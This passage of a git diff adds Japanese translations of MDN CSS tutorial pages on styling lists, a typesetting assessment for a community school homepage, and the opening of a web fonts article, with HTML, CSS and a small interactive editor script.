href="/ja/Learn/CSS/Styling_text/Typesetting_a_homepage">コミュニティスクールのホームページの組版</a></li> +</ul> diff --git a/files/ja/learn/css/styling_text/styling_lists/index.html b/files/ja/learn/css/styling_text/styling_lists/index.html new file mode 100644 index 0000000000..0690271d64 --- /dev/null +++ b/files/ja/learn/css/styling_text/styling_lists/index.html @@ -0,0 +1,398 @@ +--- +title: リストの装飾 +slug: Learn/CSS/Styling_text/Styling_lists +tags: + - Article + - Beginner + - CSS + - Guide + - Styling + - Text + - bullets + - lists +translation_of: Learn/CSS/Styling_text/Styling_lists +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</div> + +<p class="summary"><span class="seoSummary"><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">リスト</a>は他のテキストとほとんど同じようにふるまいますが、知っておくべきリスト固有の CSS プロパティと、考慮すべきベストプラクティスがいくつかあります。 この記事はすべてを説明しています。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターリテラシー、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、CSS の基本（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）、<a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">CSS のテキストとフォントの基礎</a>。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>リストの装飾に関連するベストプラクティスとプロパティに慣れること。</td> + </tr> + </tbody> +</table> + +<h2 id="A_simple_list_example" name="A_simple_list_example">簡単なリストの例</h2> + +<p>はじめに、簡単なリストの例を見てみましょう。 この記事を通して、順序なしリスト、順序付きリスト、そして説明リストを見ていきます。これらはどれも似たような装飾機能持っていますが、リストの種類に特有のものもあります。 <a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/unstyled-list.html">装飾していない例</a>は Github にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/unstyled-list.html">ソースコード</a>もチェックしてください）。</p> + +<p>そのリストの例の HTML はこんな感じです。</p> + +<pre class="brush: html notranslate"><h2>Shopping (unordered) list</h2> + +<p>Paragraph for reference, paragraph for reference, paragraph for reference, +paragraph for reference, paragraph for reference, paragraph for reference.</p> + +<ul> + <li>Hummus</li> + <li>Pita</li> + <li>Green salad</li> + <li>Halloumi</li> +</ul> + +<h2>Recipe (ordered) list</h2> + +<p>Paragraph for reference, paragraph for reference, paragraph for reference, +paragraph for reference, paragraph for reference, paragraph for reference.</p> + +<ol> + <li>Toast pita, leave to cool, then slice down the edge.</li> + <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> + <li>Wash and chop the salad.</li> + <li>Fill pita with salad, hummus, and fried halloumi.</li> +</ol> + +<h2>Ingredient description list</h2> + +<p>Paragraph for reference, paragraph for reference, paragraph for reference, +paragraph for reference, paragraph for reference, paragraph for reference.</p> + +<dl> + <dt>Hummus</dt> + <dd>A thick dip/sauce generally made from chick peas blended with tahini, lemon juice, salt, garlic, and other ingredients.</dd> + <dt>Pita</dt> + <dd>A soft, slightly leavened flatbread.</dd> + <dt>Halloumi</dt> + <dd>A semi-hard, unripened, brined cheese with a higher-than-usual melting point, usually made from goat/sheep milk.</dd> + <dt>Green salad</dt> + <dd>That green healthy stuff that many of us just use to garnish kebabs.</dd> +</dl></pre> + +<p>ここで実際の例に行き、<a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザー開発者ツール</a>を使用してリスト要素を調べると、次のようないくつかの装飾のデフォルト設定に気付くでしょう。</p> + +<ul> + <li>{{htmlelement("ul")}} 要素と {{htmlelement("ol")}} 要素の上下の {{cssxref("margin")}} は <code>16px</code>（<code>1em</code>）、{{cssxref("padding-left")}} は <code>40px</code>（<code>2.5em</code>）です。</li> + <li>リスト項目（{{htmlelement("li")}} 要素）には、間隔の設定に関するデフォルトはありません。</li> + <li>{{htmlelement("dl")}} 要素の上下の {{cssxref("margin")}} は <code>16px</code>（<code>1em</code>）ですが、パディングの設定はありません。</li> + <li>{{htmlelement("dd")}} 要素の {{cssxref("margin-left")}} は <code>40px</code>（<code>2.5em</code>）です。</li> + <li>参照用に含めた {{htmlelement("p")}} 要素には、さまざまな種類のリストと同じ <code>16px</code>（<code>1em</code>）の上下の {{cssxref("margin")}} があります。</li> +</ul> + +<h2 id="Handling_list_spacing" name="Handling_list_spacing">リストの間隔の取り扱い</h2> + +<p>リストを装飾するときは、（段落や画像などの）周囲の要素と同じ垂直方向の間隔（バーティカルリズム（vertical rhythm）とも呼ばれる）と、互いに同じ水平方向の間隔を維持するように装飾を調整する必要があります（Github で<a href="http://mdn.github.io/learning-area/css/styling-text/styling-lists/">完成した装飾した例</a>を見ることができ、<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/styling-lists/index.html">ソースコード</a>も見つけることができます）。</p> + +<p>テキストの装飾と間隔調整に使用する CSS は次のとおりです。</p> + +<pre class="brush: css notranslate">/* General styles */ + +html { + font-family: Helvetica, Arial, sans-serif; + font-size: 10px; +} + +h2 { + font-size: 2rem; +} + +ul,ol,dl,p { + font-size: 1.5rem; +} + +li, p { + line-height: 1.5; +} + +/* Description list styles */ + + +dd, dt { + line-height: 1.5; +} + +dt { + font-weight: bold; +} + +dd { + margin-bottom: 1.5rem; +}</pre> + +<ul> + <li>規則1はサイト全体のフォントと <code>10px</code> の基準フォントサイズを設定します。 これらはページ上のすべてのものに継承されます。</li> + <li>規則2と3では、見出し、さまざまなリストの種類（リスト要素の子はこれらを継承）、および段落に相対フォントサイズを設定します。 つまり、各段落とリストのフォントサイズ、上下の間隔は同じになり、バーティカルリズムを一定に保つのに役立ちます。</li> + <li>規則4では、段落とリスト項目に同じ {{cssxref("line-height")}} を設定しているため、段落と各個々のリスト項目のラインの間隔は同じになります。 これは、バーティカルリズムを一定に保つのにも役立ちます。</li> + <li>説明リストには規則5と6が適用されます。 説明リストの用語と説明には、段落とリスト項目の場合と同じ <code>line-height</code> を設定します。 繰り返しますが、一貫性があることは良いことです！ また、説明する用語は太字にして、視覚的に目立つようにしています。<span id="cke_bm_126E" style="display: none;"> </span></li> +</ul> + +<h2 id="List-specific_styles" name="List-specific_styles">リスト固有の装飾</h2> + +<p>リストの一般的な間隔調整テクニックを見てきました。 次に、リスト固有のプロパティを調べてみましょう。 最初に知っておくべき3つのプロパティがあり、それらは {{htmlelement("ul")}} や {{htmlelement("ol")}} 要素に設定できます。</p> + +<ul> + <li>{{cssxref("list-style-type")}}: リストに使用する行頭記号の種類を設定します。 例えば、順序なしリストの場合は正方形や丸の行頭記号、順序付きリストの場合は数字、文字、ローマ数字などです。</li> + <li>{{cssxref("list-style-position")}}: 行頭記号をリスト項目の内側に表示するか、その外側の各項目の先頭より前に表示するかを設定します。</li> + <li>{{cssxref("list-style-image")}}: 行頭記号に簡単な正方形や円ではなく、カスタム画像を使うことができます。</li> +</ul> + +<h3 id="Bullet_styles" name="Bullet_styles">行頭記号の装飾</h3> + +<p>前述のように、{{cssxref("list-style-type")}} プロパティを使用して、行頭記号（bullet point）に使用する行頭記号（bullet）の種類を設定できます。 この例では、順序付きリストで大文字のローマ数字を使用するように設定しています。</p> + +<pre class="brush: css notranslate">ol { + list-style-type: upper-roman; +}</pre> + +<p>これにより、次のようになります。</p> + +<p><img alt="行頭記号がリスト項目テキストの外側に表示されるように設定された順序付きリスト。" src="https://mdn.mozillademos.org/files/12962/outer-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 119px; margin: 0px auto; width: 376px;"></p> + +<p>{{cssxref("list-style-type")}} のリファレンスページをチェックすることで、もっとたくさんのオプションを見つけることができます。</p> + +<h3 id="Bullet_position" name="Bullet_position">行頭記号の位置</h3> + +<p>{{cssxref("list-style-position")}} プロパティは、行頭記号をリスト項目の内側に表示するか、その外側の各項目の先頭より前に表示するかを設定します。 デフォルト値は <code>outside</code> です。 これは、上で見たように、行頭記号をリスト項目の外側に配置します。</p> + +<p>値を <code>inside</code> に設定すると、行頭記号をラインの内側に配置します。</p> + +<pre class="brush: css notranslate">ol { + list-style-type: upper-roman; + list-style-position: inside; +}</pre> + +<p><img alt="行頭記号がリスト項目のテキストの内側に表示されるように設定された順序付きリスト。" src="https://mdn.mozillademos.org/files/12958/inner-bullets.png" style="border-style: solid; border-width: 1px; display: block; height: 123px; margin: 0px auto; width: 370px;"></p> + +<h3 id="Using_a_custom_bullet_image" name="Using_a_custom_bullet_image">カスタム行頭記号画像の使用</h3> + +<p>{{cssxref("list-style-image")}} プロパティを使用すると、行頭記号にカスタム画像を使用できます。 構文は次のようにとても簡単です。</p> + +<pre class="brush: css notranslate">ul { + list-style-image: url(star.svg); +}</pre> + +<p>ただし、このプロパティは、行頭記号の位置、サイズなどを制御するという点では少し制限があります。 {{cssxref("background")}} プロパティファミリーを使用するほうが得策です。 これについては、<a href="/ja/docs/Learn/CSS/Styling_boxes">ボックスの装飾</a>モジュールで詳しく説明します。 今のところ、これは味見です！</p> + +<p>完成した例では、（既に上で見たものの上に）次のように順序なしリストを装飾しました。</p> + +<pre class="brush: css notranslate">ul { + padding-left: 2rem; + list-style-type: none; +} + +ul li { + padding-left: 2rem; + background-image: url(star.svg); + background-position: 0 0; + background-size: 1.6rem 1.6rem; + background-repeat: no-repeat; +}</pre> + +<p>ここでは次のことを行いました。</p> + +<ul> + <li> {{htmlelement("ul")}} の {{cssxref("padding-left")}} をデフォルトの <code>40px</code> から <code>20px</code> に減らし、リスト項目にも同じ量を設定します。 これにより、リスト項目は全体的にはまだ順序リスト項目や説明リストの説明文が並んでいますが、リスト項目には背景画像が入るように多少のパディングが入っています。これをしないと、背景画像がリスト項目のテキストと重なってしまい、見た目がごちゃごちゃしてしまいます。</li> + <li>デフォルトで行頭記号が表示されないように、{{cssxref("list-style-type")}} を <code>none</code> に設定します。 代わりに、行頭記号を処理するために {{cssxref("background")}} プロパティを使用します。</li> + <li>各順序なしリスト項目に行頭記号を挿入しました。 関連するプロパティは次のとおりです。 + <ul> + <li>{{cssxref("background-image")}}: 行頭記号として使用する画像ファイルへのパスを参照します。</li> + <li>{{cssxref("background-position")}}: これは選択した要素の背景のどこに画像を表示するかを定義します。 この場合は <code>0 0</code> としています。 つまり、各リスト項目の左上に行頭記号が表示されます。</li> + <li>{{cssxref("background-size")}}: 背景画像のサイズを設定します。 行頭記号のサイズをリスト項目と同じサイズ（または、ごくわずかに大きいか小さい）にすることをお勧めします。 サイズは <code>1.6rem</code>（<code>16px</code>）を使用しています。 これは、行頭記号を内部に配置できる <code>20px</code> のパディングに非常によく合っています — 行頭記号とリスト項目のテキストの間に 16px + 4px のスペースがあるとうまくいきます。</li> + <li>{{cssxref("background-repeat")}}: デフォルトでは、背景画像は利用可能な背景スペースを埋めつくすまで繰り返します。 それぞれの場合に画像のコピーを1つだけ挿入したいので、これを <code>no-repeat</code> の値に設定します。</li> + </ul> + </li> +</ul> + +<p>これにより、次のような結果が得られます。</p> + +<p><img alt="行頭記号が小さな星の画像として設定された順序なしリスト" src="https://mdn.mozillademos.org/files/16226/list_formatting.png" style="border-style: solid; border-width: 1px; display: block; height: 106px; margin: 0px auto; width: 124px;"></p> + +<h3 id="list-style_shorthand" name="list-style_shorthand">list-style 一括指定</h3> + +<p>上記の3つのプロパティはすべて、単一の一括指定プロパティ {{cssxref("list-style")}} を使用して設定できます。 例えば、次の CSS を、</p> + +<pre class="brush: css notranslate">ul { + list-style-type: square; + list-style-image: url(example.png); + list-style-position: inside; +}</pre> + +<p>これに置き換えることができます。</p> + +<pre class="brush: css notranslate">ul { + list-style: square url(example.png) inside; +}</pre> + +<p>値は任意の順序でリストすることができ、1つ、2つ、または3つすべてを使用できます（含まれていないプロパティーに使用されるデフォルト値は <code>disc</code>、<code>none</code>、<code>outside</code> です）。 <code>type</code> と <code>image</code> の両方が指定されている場合、画像が何らかの理由でロードできない場合に、<code>type</code> を代替として使用します。</p> + +<h2 id="Controlling_list_counting" name="Controlling_list_counting">リストの数え方の制御</h2> + +<p>場合によっては、順序付きリストで異なる方法で数えたいことがあります — 例えば 1 以外の数から始めたり、逆方向に数えたり、1 以上のステップで数えたりです。 HTML と CSS には、ここで役立つツールがいくつかあります。</p> + +<h3 id="start" name="start">start</h3> + +<p>{{htmlattrxref("start","ol")}} 属性を使用すると、1 以外の数からリストを数え始めます。 次の例では、</p> + +<pre class="brush: html notranslate"><ol start="4"> + <li>Toast pita, leave to cool, then slice down the edge.</li> + <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> + <li>Wash and chop the salad.</li> + <li>Fill pita with salad, hummus, and fried halloumi.</li> +</ol></pre> + +<p>この出力を与えます。</p> + +<p>{{ EmbedLiveSample('start', '100%', 150) }}</p> + +<h3 id="reversed" name="reversed">reversed</h3> + +<p>{{htmlattrxref("reversed","ol")}} 属性はリストのカウントアップではなくカウントダウンを開始します。 次の例では、</p> + +<pre class="brush: html notranslate"><ol start="4" reversed> + <li>Toast pita, leave to cool, then slice down the edge.</li> + <li>Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> + <li>Wash and chop the salad.</li> + <li>Fill pita with salad, hummus, and fried halloumi.</li> +</ol></pre> + +<p>この出力を与えます。</p> + +<p>{{ EmbedLiveSample('reversed', '100%', 150) }}</p> + +<div class="note"> +<p><strong>注</strong>: 逆方向のリストに <code>start</code> 属性の値より多くのリスト項目がある場合、カウントは引き続きゼロになり、その後負の値になります。</p> +</div> + +<h3 id="value" name="value">value</h3> + +<p>{{htmlattrxref("value","li")}} 属性を使用すると、リスト項目を特定の数値に設定できます。 次の例では、</p> + +<pre class="brush: html notranslate"><ol> + <li value="2">Toast pita, leave to cool, then slice down the edge.</li> + <li value="4">Fry the halloumi in a shallow, non-stick pan, until browned on both sides.</li> + <li value="6">Wash and chop the salad.</li> + <li value="8">Fill pita with salad, hummus, and fried halloumi.</li> +</ol></pre> + +<p>この出力を与えます。</p> + +<p>{{ EmbedLiveSample('value', '100%', 150) }}</p> + +<div class="note"> +<p>注: 非数値の {{cssxref("list-style-type")}} を使用している場合でも、<code>value</code> 属性に同等の数値を使用する必要があります。</p> +</div> + +<h2 id="Active_learning_Styling_a_nested_list" name="Active_learning_Styling_a_nested_list">能動的学習: ネストしたリストの装飾</h2> + +<p>この能動的学習セッションでは、上で学んだことを取り入れて、ネストしたリストを装飾してください。 HTML を提供してあるので、次のことを行います。</p> + +<ol> + <li>順序なしリストに正方形の行頭記号を付けます。</li> + <li>順序なしリスト項目と順序付きリスト項目のフォントサイズの 1.5 のラインの高さを指定します。</li> + <li>順序付きリストに小文字のアルファベットの行頭記号を付けます。</li> + <li>行頭記号の種類、間隔、その他見つけられるものは何でも試して、好きなだけリストの例を試してみてください。</li> +</ol> + +<p>間違えた場合は、<em>Reset</em> ボタンを使用していつでもリセットできます。 本当に立ち往生したら、答えを見るために <em>Show solution</em> ボタンを押してください。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><div class="body-wrapper" style="font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;"> + <h2>HTML Input</h2> + <textarea id="code" class="html-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"><ul> + <li>First, light the candle.</li> + <li>Next, open the box.</li> + <li>Finally, place the three magic items in the box, in this exact order, to complete the spell: + <ol> + <li>The book of spells</li> + <li>The shiny rod</li> + <li>The goblin statue</li> + </ol> + </li> +</ul></textarea> + + <h2>CSS Input</h2> + <textarea id="code" class="css-input" style="width: 90%;height: 10em;padding: 10px;border: 1px solid #0095dd;"></textarea> + + <h2>Output</h2> + <div class="output" style="width: 90%;height: 12em;padding: 10px;border: 1px solid #0095dd;overflow: auto;"></div> + <div class="controls"> + <input id="reset" type="button" value="Reset" style="margin: 10px 10px 0 0;"> + <input id="solution" type="button" value="Show solution" style="margin: 10px 0 0 10px;"> + </div> +</div> +</pre> + +<pre class="brush: js notranslate">var htmlInput = document.querySelector(".html-input"); +var cssInput = document.querySelector(".css-input"); +var reset = document.getElementById("reset"); +var htmlCode = htmlInput.value; +var cssCode = cssInput.value; +var output = document.querySelector(".output"); +var solution = document.getElementById("solution"); + +var styleElem = document.createElement('style'); +var headElem = document.querySelector('head'); +headElem.appendChild(styleElem); + +function drawOutput() { + output.innerHTML = htmlInput.value; + styleElem.textContent = cssInput.value; +} + +reset.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = cssCode; + drawOutput(); +}); + +solution.addEventListener("click", function() { + htmlInput.value = htmlCode; + cssInput.value = 'ul {\n list-style-type: square;\n}\n\nul li, ol li {\n line-height: 1.5;\n}\n\nol {\n list-style-type: lower-alpha\n}'; + drawOutput(); +}); + +htmlInput.addEventListener("input", drawOutput); +cssInput.addEventListener("input", drawOutput); +window.addEventListener("load", drawOutput); +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 800) }}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<p>CSS カウンターは、リストの数え方と装飾をカスタマイズするための高度なツールを提供しますが、非常に複雑です。 あなたが自身を伸ばしたいと思うならば、これらを調べることを勧めます。 次を見てください。</p> + +<ul> + <li>{{cssxref("@counter-style")}}</li> + <li>{{cssxref("counter-increment")}}</li> + <li>{{cssxref("counter-reset")}}</li> +</ul> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>関連するいくつかの基本的な原則と特定のプロパティを知っていれば、リストの装飾のこつは比較的簡単です。 次の記事では、リンクの装飾テクニックについて説明します。</p> + +<p>{{PreviousMenuNext("Learn/CSS/Styling_text/Fundamentals", "Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text")}}</p> + + + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">基本的なテキストとフォントの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_lists">リストの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_links">リンクの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Web_fonts">ウェブフォント</a></li> + <li><a href="/ja/Learn/CSS/Styling_text/Typesetting_a_homepage">コミュニティスクールのホームページの組版</a></li> +</ul> diff --git a/files/ja/learn/css/styling_text/typesetting_a_homepage/index.html b/files/ja/learn/css/styling_text/typesetting_a_homepage/index.html new file mode 100644 index 0000000000..7fb8d97e42 --- /dev/null +++ b/files/ja/learn/css/styling_text/typesetting_a_homepage/index.html @@ -0,0 +1,126 @@ +--- +title: コミュニティスクールのホームページの組版 +slug: Learn/CSS/Styling_text/Typesetting_a_homepage +tags: + - Assessment + - Beginner + - CSS + - CodingScripting + - Link + - Styling text + - font + - list + - web font +translation_of: Learn/CSS/Styling_text/Typesetting_a_homepage +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</div> + +<p class="summary"><span class="seoSummary">この評価では、コミュニティスクールのホームページ用にテキストを装飾することで、このモジュール全体でカバーしてきたすべてのテキスト装飾テクニックについての理解をテストします。 途中で楽しい時間があるかもしれません。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>この評価を試みる前に、このモジュールのすべての記事を読んでおくべきです。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>CSS テキスト装飾テクニックの理解をテストすること。</td> + </tr> + </tbody> +</table> + +<h2 id="Starting_point" name="Starting_point">出発点</h2> + +<p>この評価を開始するには、次のことが必要です。</p> + +<ul> + <li>練習用の <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/index.html">HTML</a> ファイルと <a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/style.css">CSS</a> ファイルと、提供されている<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/typesetting-a-homepage-start/external-link-52.png">外部リンクアイコン</a>を入手してください。</li> + <li>ローカルコンピュータにそれらのコピーを作成します。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: あるいは、<a class="external external-icon" href="http://jsbin.com/">JSBin</a> や <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> などのサイトを使って評価することもできます。 HTML を貼り付けて CSS をこれらのオンラインエディタのいずれかに入力し、<a href="http://mdn.github.io/learning-area/css/styling-text/typesetting-a-homepage-start/external-link-52.png">この URL</a> を使用して背景画像を指定することができます。 使用しているオンラインエディタに別の CSS パネルがない場合は、それをドキュメントの先頭の <code><style></code> 要素に自由に配置してください。</p> +</div> + +<h2 id="Project_brief" name="Project_brief">プロジェクトの概要</h2> + +<p>架空のコミュニティカレッジのホームページ用の生の HTML と、ページを2列のレイアウトに装飾し、その他の基本的な装飾をする CSS が提供されています。 CSS ファイルの最後にあるコメントの下に CSS の追加部分を書いて、あなたが行った部分に簡単に印を付けることができるようにします。 一部のセレクタがくどくても心配しないで、この場合は見逃してください。</p> + +<p>フォント</p> + +<ul> + <li>まずはじめに、いくつかの自由に使えるフォントをダウンロードしてください。 これはカレッジですから、フォントはかなり真面目で、形式的で、信頼できる感じをページに与えるために選ばれるべきです — 一般的なテキスト本文のためのサイト全体の serif フォントに、見出しのための sans-serif または slab serif を組み合わせるといいかもしれません。</li> + <li>適切なサービスを使用して、これら2つのフォント用の bulletproof <code>@font-face</code> コードを生成してください。</li> + <li>本文フォントをページ全体に適用し、見出しフォントを見出しに適用します。</li> +</ul> + +<p>一般的なテキスト装飾</p> + +<ul> + <li>サイト全体の <code>font-size </code>を <code>10px</code> にします。</li> + <li>見出しや他の要素タイプには、適切な相対単位を使用して定義された適切な <code>font-size</code> を与えます。</li> + <li>本文に適切な <code>line-height</code> を与えます。</li> + <li>トップレベルの見出しをページの中央に配置します。</li> + <li>見出しをあまりにも押しつぶしすぎないようにし、文字が少し呼吸できるようにするために、見出しに少し <code>letter-spacing</code> を与えます。</li> + <li>必要に応じて、本文に <code>letter-spacing</code> と <code>word-spacing</code> を与えます。</li> + <li><code><section></code> の各見出しの後の最初の段落に、<code>20px</code> で、少し <code>text-indent</code> を与えます。</li> +</ul> + +<p>リンク</p> + +<ul> + <li>ページの上部と下部にある水平バーの色に合わせて、リンクに訪問、フォーカス、ホバーの状態を設定します。</li> + <li>デフォルトでリンクに下線が引かれますが、ホバーするかフォーカスを合わせると下線が消えるようにします。</li> + <li>ページ上のすべてのリンクからデフォルトのフォーカスアウトラインを取り除きます。</li> + <li>目立つようにアクティブな状態に著しく異なるスタイルを与えますが、それでも全体的なページデザインに収まるようにします。</li> + <li>外部リンクの隣に外部リンクアイコンが挿入されるようにします。</li> +</ul> + +<p>リスト</p> + +<ul> + <li>リストとリスト項目の間隔が、ページ全体のスタイルとうまく一致するようにしてください。 各リスト項目は段落行と同じ <code>line-height</code> を持ち、各リストの上下の段落の間隔は同じです。</li> + <li>リスト項目に、ページのデザインにふさわしい素敵な行頭記号を付けてください。 カスタムの行頭記号画像を選択するか、それ以外のものを選択するかは、あなた次第です。</li> +</ul> + +<p>ナビゲーションメニュー</p> + +<ul> + <li>ページのルックアンドフィールが適切になるようにナビゲーションメニューを装飾します。</li> +</ul> + +<h2 id="Hints_and_tips" name="Hints_and_tips">ヒントとコツ</h2> + +<ul> + <li>この演習では、HTML を編集する必要はまったくありません。</li> + <li>ナビゲーションメニューを必ずしもボタンのように見せる必要はありませんが、ページの横に愚かに見えないように少し高くする必要があります。 また、これを垂直ナビゲーションメニューにする必要があることも忘れないでください。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<p>次のスクリーンショットは、完成したデザインの外観の例です。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/12994/example2.png" style="display: block; height: 1106px; margin: 0px auto; width: 1533px;"></p> + +<h2 id="Assessment" name="Assessment">評価</h2> + +<p>組織的コースの一環としてこの評価に従っている場合は、採点のために作品を教師や指導者に渡すことができるはずです。 自己学習をしている場合は、<a href="https://discourse.mozilla.org/t/typesetting-a-community-school-home-page-assessment/24683">この演習についてのディスカッションスレッド</a>や <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> の <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC チャンネルで尋ねることで、かなり簡単に採点の手引きを得ることができます。 まず演習を試してみてください — 不正行為によって得られるものは何もありません！</p> + +<p>{{PreviousMenu("Learn/CSS/Styling_text/Web_fonts", "Learn/CSS/Styling_text")}}</p> + +<p> </p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">基本的なテキストとフォントの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_lists">リストの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Styling_links">リンクの装飾</a></li> + <li><a href="/ja/docs/Learn/CSS/Styling_text/Web_fonts">ウェブフォント</a></li> + <li><a href="/ja/Learn/CSS/Styling_text/Typesetting_a_homepage">コミュニティスクールのホームページの組版</a></li> +</ul> + +<p> </p> diff --git a/files/ja/learn/css/styling_text/ウェブフォント/index.html b/files/ja/learn/css/styling_text/ウェブフォント/index.html new file mode 100644 index 0000000000..d96b610029 --- /dev/null +++ b/files/ja/learn/css/styling_text/ウェブフォント/index.html @@ -0,0 +1,219 @@ +--- +title: ウェブフォント +slug: Learn/CSS/Styling_text/ウェブフォント +tags: + - '@font-face' + - Article + - Beginner + - CSS + - CSS Fonts + - Fonts + - Guide + - Learn + - Web Development + - Web Fonts Article + - Web fonts documentation + - font-family + - web fonts +translation_of: Learn/CSS/Styling_text/Web_fonts +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/Styling_text/Styling_links", "Learn/CSS/Styling_text/Typesetting_a_homepage", "Learn/CSS/Styling_text")}}</div> + +<p class="summary"><span class="seoSummary">このモジュールの最初の記事では、フォントとテキストの装飾に使用できる基本的な CSS 機能について調べました。 この記事では、ウェブフォントの詳細を調べながら、さらに進みます — これらを使用すると、ウェブページと一緒にカスタムフォントをダウンロードすることを可能にして、より多様なカスタムテキストの装飾を可能にします。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>基本的なコンピューターリテラシー、HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、CSS の基本（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）、<a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">CSS のテキストとフォントの基礎</a>。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>サードパーティのサービスを使用するか、独自のコードを作成することによって、ウェブフォントをウェブページに適用する方法を習得する。</td> + </tr> + </tbody> +</table> + +<h2 id="Font_families_recap" name="Font_families_recap">フォントファミリーの復習</h2> + +<p><a href="/ja/docs/Learn/CSS/Styling_text/Fundamentals">基本的なテキストとフォントの装飾</a>で見たように、HTML に適用されるフォントは {{cssxref("font-family")}} プロパティを使って制御できます。 これは1つ以上のフォントファミリー名を取り、ブラウザーはそれが実行されているシステムで利用可能なフォントを見つけるまでリストを順にたどります。</p> + +<pre class="brush: css notranslate">p { + font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif; +}</pre> + +<p>このシステムはうまく機能しますが、伝統的にウェブ開発者のフォント選択は限られていました。 一般的なすべてのシステムで利用できることを保証できるフォントは、ほんの一握りです — いわゆる<a href="/ja/Learn/CSS/Styling_text/Fundamentals#Web_safe_fonts">ウェブセーフフォント</a>です。 フォントスタックを使用して希望するフォントを指定し、その後にウェブセーフの代替フォントを指定してからデフォルトのシステムフォントを指定することができますが、これはデザインが各フォントなどでうまく見えることを確認するためにテストの面でオーバーヘッドを追加します。（訳注：日本語フォントを英語フォントの後、デフォルトフォントの前に指定すれば、英語部分だけ英語フォントにすることができます。 つまり、英語フォントだけの指定であっても、日本語環境なら、日本語には日本語のデフォルトフォントが使われるということです。 中国語環境なら、中国語の漢字が使われることでしょう。）</p> + +<h2 id="Web_fonts" name="Web_fonts">ウェブフォント</h2> + +<p>しかし、IE バージョン 6 でも非常にうまく動作する代替手段があります。 ウェブフォントは、ウェブサイトにアクセスした時に一緒にダウンロードするフォントファイルを指定できる CSS の機能です。 つまり、ウェブフォントをサポートするブラウザーであれば、指定したフォントをそのまま使用できることを意味しています。 すばらしい！ 必要な構文は次のようになります。</p> + +<p>まず最初に、CSS の先頭に {{cssxref("@font-face")}} ブロックがあり、ダウンロードするフォントファイルを指定します。</p> + +<pre class="brush: css notranslate">@font-face { + font-family: "myFont"; + src: url("myFont.woff"); +}</pre> + +<p>これより下では、<code>@font-face</code> の中で指定されているフォントファミリー名を使ってカスタムフォントを通常通り好きなものに適用できます。</p> + +<pre class="brush: css notranslate">html { + font-family: "myFont", "Bitstream Vera Serif", serif; +}</pre> + +<p>構文はこれより少し複雑になります。 以下で詳しく説明します。</p> + +<p>ウェブフォントに関して留意すべき重要な点が2つあります。</p> + +<ol> + <li>ブラウザーはさまざまなフォント形式をサポートしているため、適切なクロスブラウザーをサポートするには複数のフォント形式が必要になります。 例えば、最近のほとんどのブラウザーは最も効率的な形式である WOFF / WOFF2（Web Open Font Format バージョン 1 および 2）をサポートしていますが、古いバージョンの IE は EOT（Embedded Open Type）フォントしかサポートしていないし、古いバージョンの iPhone や Android のブラウザーをサポートするには、SVG 版のフォントを含める必要があるかもしれません。 必要なコードの生成方法を下の方で示します。</li> + <li>フォントは一般に自由に使用できません。 